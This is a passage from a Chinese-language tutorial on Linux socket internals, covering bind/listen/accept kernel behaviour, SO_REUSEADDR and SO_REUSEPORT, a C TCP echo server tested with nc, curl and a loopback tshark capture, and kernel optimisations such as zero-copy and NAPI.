&lt;li&gt;&lt;strong&gt;VFS 分发&lt;/strong&gt;：内核通过识别 &lt;code&gt;file-&amp;gt;f_op&lt;/code&gt; 指针指向 &lt;code&gt;socket_file_ops&lt;/code&gt; 确认其套接字身份，并经由 &lt;code&gt;file-&amp;gt;private_data&lt;/code&gt; 定位到 &lt;code&gt;struct socket&lt;/code&gt;（套接字对象）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协议栈交接&lt;/strong&gt;：跨越 VFS 层，通过 &lt;code&gt;socket-&amp;gt;sk&lt;/code&gt; 指针指针拿到真正的协议栈对象 &lt;code&gt;struct sock&lt;/code&gt;（如 &lt;code&gt;tcp_sock&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;封装与发送&lt;/strong&gt;：调用其绑定的协议特定发送函数 &lt;code&gt;sk-&amp;gt;sk_prot-&amp;gt;sendmsg&lt;/code&gt; (如 &lt;code&gt;tcp_sendmsg&lt;/code&gt;)，内核将用户空间数据拷贝到 &lt;code&gt;sk_buff&lt;/code&gt; (skb) 中。根据滑动窗口与拥塞控制状态进行分片，逐层封装 TCP/IP 首部，最终将数据包挂入 &lt;code&gt;sk_write_queue&lt;/code&gt;，触发软中断通知驱动程序通过 DMA 将数据投递至硬件。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;&lt;strong&gt;3.1 &lt;code&gt;socket()&lt;/code&gt;：对象的“二重奏”分配&lt;/strong&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;资源分配&lt;/strong&gt;：内核通过 Slab Allocator 分配 &lt;code&gt;struct file&lt;/code&gt; 和 &lt;code&gt;struct socket&lt;/code&gt; 的空间，并在 &lt;code&gt;sockfs&lt;/code&gt; 中创建对应的 &lt;code&gt;inode&lt;/code&gt;，将网络对象与文件描述符表关联。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协议挂载&lt;/strong&gt;：依据 &lt;code&gt;AF_INET&lt;/code&gt; 等参数，内核调用协议族的回调函数（如 &lt;code&gt;inet_create&lt;/code&gt;），分配并初始化底层的协议控制块（如 &lt;code&gt;tcp_sock&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配额预留&lt;/strong&gt;：内核会查询 &lt;code&gt;/proc/sys/net/ipv4/tcp_mem&lt;/code&gt; 等全局配置，为该新连接预留内存缓冲区配额，防止资源耗尽。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;&lt;strong&gt;3.2 bind()：哈希表中的资源注册与策略权衡&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;bind()&lt;/code&gt; 并不触发网络报文交互，它是在内核&lt;strong&gt;当前网络命名空间&lt;/strong&gt;进行一次资源所有权确认，其核心逻辑是内核对全局端口哈希表（&lt;code&gt;inet_bind_hashbucket&lt;/code&gt;）的原子操作。当进程尝试绑定 &lt;code&gt;IP+Port&lt;/code&gt; 时，内核会遍历哈希桶检查是否存在“同门”冲突。此时，Socket 选项决定了这种检查的“宽松程度”，端口为0时执行自动分配（Ephemeral Port）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“冲突与豁免：Socket 选项如何重塑端口绑定策略”&lt;/strong&gt;。&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;SO_REUSEADDR：打破 TIME_WAIT 的僵局&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;这是服务器开发中的“必备选项”。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;痛点&lt;/strong&gt;：TCP 连接在主动关闭后，会进入 &lt;code&gt;TIME_WAIT&lt;/code&gt; 状态（通常持续 1~4 分钟，即 2MSL）。在此期间，该 &lt;code&gt;IP:Port&lt;/code&gt; 被视为“仍在使用中”。如果你重启服务器，&lt;code&gt;bind()&lt;/code&gt; 会因为该端口处于 &lt;code&gt;TIME_WAIT&lt;/code&gt; 而失败。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核逻辑&lt;/strong&gt;：当设置了 &lt;code&gt;SO_REUSEADDR&lt;/code&gt; 后，内核在哈希检查时会&lt;strong&gt;豁免处于&lt;code&gt;TIME_WAIT&lt;/code&gt;状态的 Socket&lt;/strong&gt;，可以bind()。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工程意义&lt;/strong&gt;：它允许服务器在重启后，立即重新绑定到之前的端口，而无需等待 &lt;code&gt;TIME_WAIT&lt;/code&gt; 超时。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;：如果网络中还有属于旧连接的延迟报文到达，内核依然会根据 4元组(源IP,源端口,目的IP,目的端口)，将这些旧报文正确递交给那个被“忽略”的旧的 TIME_WAIT Socket，其核心职责就变为了“吸纳”这些迟到的旧报文“垃圾”，丢弃数据包并根据TCP规则回复 ACK。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;SO_REUSEPORT：允许多进程“共存”与负载均衡&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;这是为高并发多核架构设计的“性能利器”。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;痛点&lt;/strong&gt;：在传统的 &lt;code&gt;listen()&lt;/code&gt; 模式下，多个进程无法同时 &lt;code&gt;bind()&lt;/code&gt; 同一个端口，导致只能由一个主进程接收请求再分发（&lt;strong&gt;容易成为瓶颈&lt;/strong&gt;）或者使用复杂的父子进程切换机制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核逻辑&lt;/strong&gt;：当设置了 &lt;code&gt;SO_REUSEPORT&lt;/code&gt; 后，内核允许&lt;strong&gt;多个 Socket 绑定到完全相同的&lt;code&gt;IP:Port&lt;/code&gt;&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;调度机制&lt;/strong&gt;：这不再是简单的“冲突豁免”，而是一种&lt;strong&gt;内核负载均衡机制&lt;/strong&gt;。当新的 SYN 包到来时，内核会根据哈希算法（通常基于四元组）自动将连接分发给其中一个绑定了该端口的进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工程意义&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;消除锁竞争&lt;/strong&gt;：多个进程可以独立 &lt;code&gt;listen&lt;/code&gt; 和 &lt;code&gt;accept&lt;/code&gt;，彻底消除了单个 &lt;code&gt;accept&lt;/code&gt; 队列的锁竞争。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优雅重启&lt;/strong&gt;：可以在不中断服务的情况下，启动新版本的进程（绑定同一个端口）并平滑过渡。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;3.3 &lt;code&gt;listen()&lt;/code&gt;：构建连接受理流水线&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;调用 &lt;code&gt;listen()&lt;/code&gt; 将 Socket 角色由“主动发起方”转变为“被动监听方”，内核为此建立两个关键的 FIFO 队列：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;半连接队列 (SYN Queue)&lt;/strong&gt;：记录收到 SYN 包但未完成三次握手的请求（即 &lt;code&gt;SYN_RCVD&lt;/code&gt; 状态）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全连接队列 (Accept Queue)&lt;/strong&gt;：存放已完成三次握手（&lt;code&gt;ESTABLISHED&lt;/code&gt; 状态）等待应用层取走的连接。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工程调优&lt;/strong&gt;：&lt;code&gt;backlog&lt;/code&gt; 参数决定了全连接队列的长度。若应用层 &lt;code&gt;accept&lt;/code&gt; 消费速率慢于连接建立速率，导致队列溢出，内核通常会根据策略丢弃 ACK 或回复 RST，这是服务端在高并发下抗压能力的第一道防线。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;3.4 &lt;code&gt;connect()&lt;/code&gt;：状态机与调度器的协同&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;connect()&lt;/code&gt; 是内核调度器与网络协议状态机同步的典型场景：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;路由决策&lt;/strong&gt;：内核查询 &lt;strong&gt;FIB（转发信息表）&lt;/strong&gt;，通过 ARP/路由决策 确定出口网卡与源 IP。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状态变迁&lt;/strong&gt;：状态从 &lt;code&gt;CLOSED&lt;/code&gt; 跃迁至 &lt;code&gt;SYN_SENT&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;进程挂起 (Scheduling)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;阻塞逻辑&lt;/strong&gt;：内核将当前进程状态标记为 &lt;code&gt;TASK_INTERRUPTIBLE&lt;/code&gt;，切出 CPU，并将进程挂入 Socket 的&lt;strong&gt;等待队列&lt;/strong&gt;（Wait Queue）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中断唤醒&lt;/strong&gt;：当网卡收到 &lt;code&gt;SYN-ACK&lt;/code&gt; 并由软中断处理完毕后，协议栈会唤醒该等待队列上的进程，&lt;code&gt;connect()&lt;/code&gt; 系统调用随之返回。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;&lt;strong&gt;3.5 &lt;code&gt;accept()&lt;/code&gt;：生产者-消费者模型的摘取&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;**注意：&lt;code&gt;accept()&lt;/code&gt; 本身完全不参与三次握手。**它只是连接的消费者。三次握手由内核在后台异步完成。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;连接摘取&lt;/strong&gt;：&lt;code&gt;accept()&lt;/code&gt; 是&lt;strong&gt;消费&lt;/strong&gt;动作。它检查全连接队列：若队列为空，则进程执行睡眠调度；若有数据，则 &lt;code&gt;unlink&lt;/code&gt; 一个已就绪的 &lt;code&gt;sock&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FD 克隆映射&lt;/strong&gt;：内核为提取出的 &lt;code&gt;sock&lt;/code&gt; 创建一个&lt;strong&gt;全新的 &lt;code&gt;struct socket&lt;/code&gt; 和唯一的 &lt;code&gt;fd&lt;/code&gt;&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;独立上下文&lt;/strong&gt;：虽然新的连接继承了监听 Socket 的协议栈状态，但它拥有独立的接收/发送缓冲区和 TCP 窗口，确保了每一个连接的隔离性与并发安全性。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;四、 完整示例：TCP Echo 服务器&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;下面是一个基于原生 Socket API 的 Echo 服务器，展示了完整的 Socket 编程流程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;arpa/inet.h&amp;gt;
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define MAXBUF 1024
#define PORT   8080

int main() {
    int sockfd, connfd;
    struct sockaddr_in server_addr, client_addr;
    socklen_t addrlen;
    char buffer[MAXBUF];
    ssize_t n;

    // 1. 创建 Socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd &amp;lt; 0) {
        perror(&quot;socket 创建失败&quot;);
        exit(EXIT_FAILURE);
    }

    // 2. 设置地址复用 SO_REUSEADDR
    int opt = 1;
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &amp;amp;opt, sizeof(opt)) &amp;lt; 0) {
        perror(&quot;setsockopt 失败&quot;);
        close(sockfd);
        exit(EXIT_FAILURE);
    }

    // 3. 绑定地址
    memset(&amp;amp;server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(PORT);

    if (bind(sockfd, (struct sockaddr*)&amp;amp;server_addr, sizeof(server_addr)) &amp;lt; 0) {
        perror(&quot;bind 失败&quot;);
        close(sockfd);
        exit(EXIT_FAILURE);
    }

    // 4. 监听
    if (listen(sockfd, 5) &amp;lt; 0) {
        perror(&quot;listen 失败&quot;);
        close(sockfd);
        exit(EXIT_FAILURE);
    }

    printf(&quot;🚀 Echo 服务器启动，监听端口 %d...\n&quot;, PORT);

    // 5. 接受连接并处理
    addrlen = sizeof(client_addr);
    connfd = accept(sockfd, (struct sockaddr*)&amp;amp;client_addr, &amp;amp;addrlen);
    if (connfd &amp;lt; 0) {
        perror(&quot;accept 失败&quot;);
        close(sockfd);
        exit(EXIT_FAILURE);
    }

    // 打印客户端信息
    char client_ip[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &amp;amp;client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
    printf(&quot;✅ 客户端连接：%s:%d\n&quot;, client_ip, ntohs(client_addr.sin_port));

    // 6. 数据回声循环
    while (true) {
        memset(buffer, 0, MAXBUF);
        n = read(connfd, buffer, MAXBUF - 1);

        if (n &amp;gt; 0) {
            // Echo 模式：直接回显收到的数据
            printf(&quot;📨 收到 %zd 字节：%s&quot;, n, buffer);
            write(connfd, buffer, n);
            // HTTP 模式：解析 HTTP 请求并回复简单的 HTML 页面
            // printf(&quot;📨 收到 HTTP 请求 (共 %zd 字节):\n%s\n&quot;, n, buffer);
            // char http_response[1024];
            // const char* html_content = &quot;&amp;lt;h1&amp;gt;Hello, Wireshark!&amp;lt;/h1&amp;gt;&quot;;
            // int content_len = strlen(html_content);
            // sprintf(http_response,
            //         &quot;HTTP/1.1 200 OK\r\n&quot;
            //         &quot;Content-Type: text/html; charset=UTF-8\r\n&quot;
            //         &quot;Content-Length: %d\r\n&quot; // 关键：告诉浏览器正文有多长
            //         &quot;Connection: keep-alive\r\n&quot;
            //         &quot;\r\n&quot;
            //         &quot;%s&quot;,
            //         content_len,
            //         html_content);
            // // 发送给客户端
            // write(connfd, http_response, strlen(http_response));
        } else if (n == 0) {
            printf(&quot;🔌 客户端关闭连接\n&quot;);
            break;
        } else {
            perror(&quot;read 错误&quot;);
            break;
        }
    }

    // 7. 清理资源
    close(connfd);
    close(sockfd);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 测试
&amp;gt; gcc -g echo_server.c -o server &amp;amp;&amp;amp; ./server
🚀 Echo 服务器启动，监听端口 8080...
✅ 客户端连接：127.0.0.1:54321
📨 收到 12 字节：Hello, World!
🔌 客户端关闭连接

&amp;gt; nc localhost 8080
Hello, World!
Hello, World!
# &amp;gt; curl -v localhost:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 切换到 HTTP 模式
# wireshark 抓包 curl -v localhost:8080 验证
tshark -i lo -f &quot;tcp port 8080&quot; # -w output.pcap
Capturing on &apos;Loopback: lo&apos;
 ** (tshark:44643) 15:09:20.666044 [Main MESSAGE] -- Capture started.
 ** (tshark:44643) 15:09:20.666251 [Main MESSAGE] -- File: &quot;/tmp/wireshark_loJCCAM3.pcapng&quot;
    1 0.000000000    127.0.0.1 → 127.0.0.1    TCP 74 51233 → 8080 [SYN] Seq=0 Win=65495 Len=0 MSS=65495 SACK_PERM=1 TSval=2568255227 TSecr=0 WS=128
    2 0.000033900    127.0.0.1 → 127.0.0.1    TCP 74 8080 → 51233 [SYN, ACK] Seq=0 Ack=1 Win=65483 Len=0 MSS=65495 SACK_PERM=1 TSval=2568255227 TSecr=2568255227 WS=128
    3 0.000052900    127.0.0.1 → 127.0.0.1    TCP 66 51233 → 8080 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2568255227 TSecr=2568255227
    4 0.000189700    127.0.0.1 → 127.0.0.1    HTTP 144 GET / HTTP/1.1 
    5 0.000202600    127.0.0.1 → 127.0.0.1    TCP 66 8080 → 51233 [ACK] Seq=1 Ack=79 Win=65408 Len=0 TSval=2568255227 TSecr=2568255227
    6 0.000271000    127.0.0.1 → 127.0.0.1    HTTP 195 HTTP/1.1 200 OK  (text/html)
    7 0.000291900    127.0.0.1 → 127.0.0.1    TCP 66 51233 → 8080 [ACK] Seq=79 Ack=130 Win=65408 Len=0 TSval=2568255227 TSecr=2568255227
    8 0.000611600    127.0.0.1 → 127.0.0.1    TCP 66 51233 → 8080 [FIN, ACK] Seq=79 Ack=130 Win=65536 Len=0 TSval=2568255227 TSecr=2568255227
    9 0.000687000    127.0.0.1 → 127.0.0.1    TCP 66 8080 → 51233 [FIN, ACK] Seq=130 Ack=80 Win=65536 Len=0 TSval=2568255228 TSecr=2568255227
   10 0.000720400    127.0.0.1 → 127.0.0.1    TCP 66 51233 → 8080 [ACK] Seq=80 Ack=131 Win=65536 Len=0 TSval=2568255228 TSecr=2568255228
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;五、 OS 级性能加速：内核处理高并发的“内功心法”&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;高性能网络编程不仅仅在于代码逻辑，更在于对 Linux 内核调度机制与内存模型的理解。以下是三大 OS 级优化手段的底层剖析。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;5.1 零拷贝（Zero-copy）：数据搬运的“捷径”&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;传统 &lt;code&gt;read()&lt;/code&gt; + &lt;code&gt;write()&lt;/code&gt; 操作中，数据需要从“磁盘缓冲区 -&amp;gt; 内核态 -&amp;gt; 用户态 -&amp;gt; 内核态 -&amp;gt; 网卡缓冲区”，涉及&lt;strong&gt;多次内核态/用户态上下文切换&lt;/strong&gt;以及&lt;strong&gt;多次内存数据拷贝&lt;/strong&gt;。零拷贝机制旨在彻底消除这些冗余开销。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sendfile()&lt;/code&gt;：页缓存的“高速公路”&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心逻辑&lt;/strong&gt;：绕过用户态缓冲区，直接在内核中将文件系统的 &lt;code&gt;Page Cache&lt;/code&gt; 数据直接拷贝（或通过 DMA 映射）到 Socket 的发送缓冲区。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本质&lt;/strong&gt;：减少了 CPU 参与的 &lt;code&gt;copy_from_user&lt;/code&gt; 和 &lt;code&gt;copy_to_user&lt;/code&gt; 过程，将数据搬运的主动权完全交给内核。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;splice()&lt;/code&gt;：内核空间的管道搬运&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心逻辑&lt;/strong&gt;：利用内核管道 &lt;code&gt;pipe&lt;/code&gt; 作为中介，在 Socket 和文件描述符之间建立内存映射。它允许在两个文件描述符之间转移数据，而无需将数据拷贝到用户空间。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工程意义&lt;/strong&gt;：这是高性能 Web 服务器（如 Nginx）处理静态大文件的核心技术，CPU 占用率通常能降低 30% 以上。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;5.2 软中断与 NAPI：缓解“中断风暴”&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;在高并发场景下，如果每一张网卡报文都触发一次 CPU 中断，系统将陷入“中断风暴”而无法执行业务逻辑。Linux 引入了异步中断与轮询结合的机制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;从硬中断到 &lt;code&gt;NET_RX_SOFTIRQ&lt;/code&gt;&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;当网卡收到数据，硬件触发&lt;strong&gt;硬中断 (Hard IRQ)&lt;/strong&gt;。此时，CPU 仅做最小量的处理，快速完成报文入队并立即开启&lt;strong&gt;软中断 (SoftIRQ)&lt;/strong&gt;，将繁重的协议栈处理任务（TCP/IP 分解、内存分配）转交给 &lt;code&gt;ksoftirqd&lt;/code&gt; 内核线程，让 CPU 迅速回到业务上下文。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NAPI (New API) 的折中策略&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;低负载下&lt;/strong&gt;：采用硬中断触发模式，保证即时响应。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重负载下&lt;/strong&gt;：内核自动切换为&lt;strong&gt;轮询模式 (Polling)&lt;/strong&gt;。网卡驱动程序不再频繁申请中断，而是由内核主动去网卡缓冲区拉取一批报文进行批量处理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;科学价值&lt;/strong&gt;：通过“中断”与“轮询”的动态切换，内核在低延迟（低负载）与高吞吐（高负载）之间实现了最优平衡。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;5.3 进程与 Socket 的解耦：并发模型的扩展性&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Socket 的设计理念打破了“进程-资源”强绑定的约束，使得并发模型具备了极强的伸缩性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件描述符的“引用计数”机制&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;通过 &lt;code&gt;fork()&lt;/code&gt;，子进程可以继承监听 FD。此时内核中对应的 &lt;code&gt;struct file&lt;/code&gt; 引用计数增加，多个进程共享同一个监听 Socket。当新的连接到来时，内核会唤醒其中一个进程进行 &lt;code&gt;accept()&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SO_REUSEPORT&lt;/code&gt;：内核级的负载均衡&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;机制&lt;/strong&gt;：允许在多个进程中同时 &lt;code&gt;listen()&lt;/code&gt; 同一个端口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心变革&lt;/strong&gt;：以往的“主进程 Accept + 分发”模型容易成为瓶颈。&lt;code&gt;SO_REUSEPORT&lt;/code&gt; 允许内核直接在&lt;strong&gt;接收阶段&lt;/strong&gt;通过四元组哈希，将连接直接分发给绑定了该端口的任意进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;价值&lt;/strong&gt;：这是多核架构下实现“无锁并发”的终极利器，消除了 Accept 队列的锁竞争。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;六、 Socket 的内核本质：从文件抽象到协议状态机&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Socket 在 Linux 中的地位是“一切皆文件”哲学的巅峰之作。它不仅仅是一个对象，更是一套连接&lt;strong&gt;用户空间&lt;/strong&gt;与&lt;strong&gt;网络硬件&lt;/strong&gt;的桥梁。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心设计价值&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;模型统一化&lt;/strong&gt;：&lt;code&gt;epoll&lt;/code&gt; 等多路复用机制之所以强大，是因为它屏蔽了 Socket、Pipe、Eventfd 的底层差异，本质上它们都实现了 &lt;code&gt;poll/epoll_ctl&lt;/code&gt; 接口，能够挂载到**等待队列(Wait Queue)**上。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异步与同步的桥梁&lt;/strong&gt;：内核通过 &lt;code&gt;sk_sleep&lt;/code&gt; 等待队列，将内核驱动的&lt;strong&gt;异步中断事件&lt;/strong&gt;与用户态的&lt;strong&gt;同步阻塞请求&lt;/strong&gt;完美衔接。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;&lt;strong&gt;6.1 阻塞语义：fd状态 而非 API属性&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;阻塞/非阻塞行为是由 &lt;code&gt;file&lt;/code&gt; 对象的 &lt;code&gt;f_flags&lt;/code&gt;（&lt;code&gt;O_NONBLOCK&lt;/code&gt;）决定的，而非 &lt;code&gt;recv&lt;/code&gt; 或 &lt;code&gt;accept&lt;/code&gt; 等 API 本身。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;阻塞逻辑&lt;/strong&gt;：当数据尚未就绪，内核将当前进程标记为可中断的睡眠状态&lt;code&gt;TASK_INTERRUPTIBLE&lt;/code&gt;，通过 &lt;code&gt;schedule()&lt;/code&gt; 主动让出 CPU，并将其挂入该 Socket 的等待队列。直至底层协议栈收到数据并触发“唤醒”逻辑，进程才被重新调度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非阻塞逻辑&lt;/strong&gt;：系统调用发现资源未就绪，立即返回 &lt;code&gt;EAGAIN&lt;/code&gt; 或 &lt;code&gt;EWOULDBLOCK&lt;/code&gt;，表示资源暂时不可用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工程警示&lt;/strong&gt;：非阻塞 &lt;code&gt;connect&lt;/code&gt; 后不能仅凭 &lt;code&gt;poll/epoll&lt;/code&gt;返回可写 就直接写入数据。连接可能失败（如被拒绝），必须通过 &lt;code&gt;getsockopt&lt;/code&gt; 检查 &lt;code&gt;SO_ERROR&lt;/code&gt; 确认 Socket 是否真正建立连接。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;6.2 入站路径：DMA 搬运与协议机的流水线&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;这是高性能网络调优的必修课，理解数据如何从线缆流向内存：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;链路层接收入包&lt;/strong&gt;：网卡利用 &lt;strong&gt;DMA(Direct Memory Access)&lt;/strong&gt; 直接将数据帧从线缆搬运至内存的 RX Ring Buffer，触发硬中断。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;软中断分发(SoftIRQ)&lt;/strong&gt;：CPU 响应硬中断后立即通过 &lt;code&gt;NAPI&lt;/code&gt; 机制转入软中断处理，将报文封装为 &lt;code&gt;sk_buff&lt;/code&gt; (skb)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协议栈处理(L3/L4)&lt;/strong&gt;：IP 层完成路由与校验，TCP 层根据四元组定位对应的 &lt;code&gt;struct sock&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;接收队列入队&lt;/strong&gt;：数据包被挂入 &lt;code&gt;sk_receive_queue&lt;/code&gt;。此时，内核执行&lt;strong&gt;唤醒逻辑&lt;/strong&gt;——如果该 Socket 上有 &lt;code&gt;epoll_wait&lt;/code&gt; 在阻塞，则将该进程加入调度队列。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户态消费&lt;/strong&gt;：&lt;code&gt;read/recv&lt;/code&gt; 系统调用触发，将数据从 &lt;code&gt;sk_receive_queue&lt;/code&gt; 拷贝(&lt;code&gt;copy_to_user&lt;/code&gt;)到用户内存。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;网络接收是“&lt;code&gt;硬件DMA + 协议栈状态机 + 进程调度唤醒&lt;/code&gt;”三者协作的流水线。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;6.3 出站路径：发送缓冲与确认的“假象”&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;出站路径常伴随认知误区，理解其瓶颈是优化的关键：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;用户态提交&lt;/strong&gt;：&lt;code&gt;send()&lt;/code&gt; 将数据拷贝至内核发送缓冲区 (&lt;code&gt;sk_write_queue&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TCP 协议控制&lt;/strong&gt;：内核根据拥塞控制算法 (CUBIC/BBR) 和对端的接收窗口，决定是否立即分发数据段。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发送队列排队&lt;/strong&gt;：经过流量控制后的数据包，进入 &lt;code&gt;qdisc&lt;/code&gt;（排队规则）层进行调度与整形。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;驱动发送&lt;/strong&gt;：驱动从 TX Ring 获取数据，DMA 搬运至网卡完成物理发送。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;两个常见的认知误区&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认知误区一：&lt;code&gt;send()&lt;/code&gt; 返回成功 = 对端应用已收到？&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;真相&lt;/strong&gt;：&lt;code&gt;send()&lt;/code&gt; 返回仅代表数据已&lt;strong&gt;成功进入内核发送缓冲区&lt;/strong&gt;。这离“对端接收”还差 TCP ACK 的确认。若连接瞬间断开，内核可能还在尝试重传数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认知误区二：&lt;code&gt;epoll&lt;/code&gt; 提示可写 = 可以无限写？&lt;/strong&gt;
&lt;ul&gt;
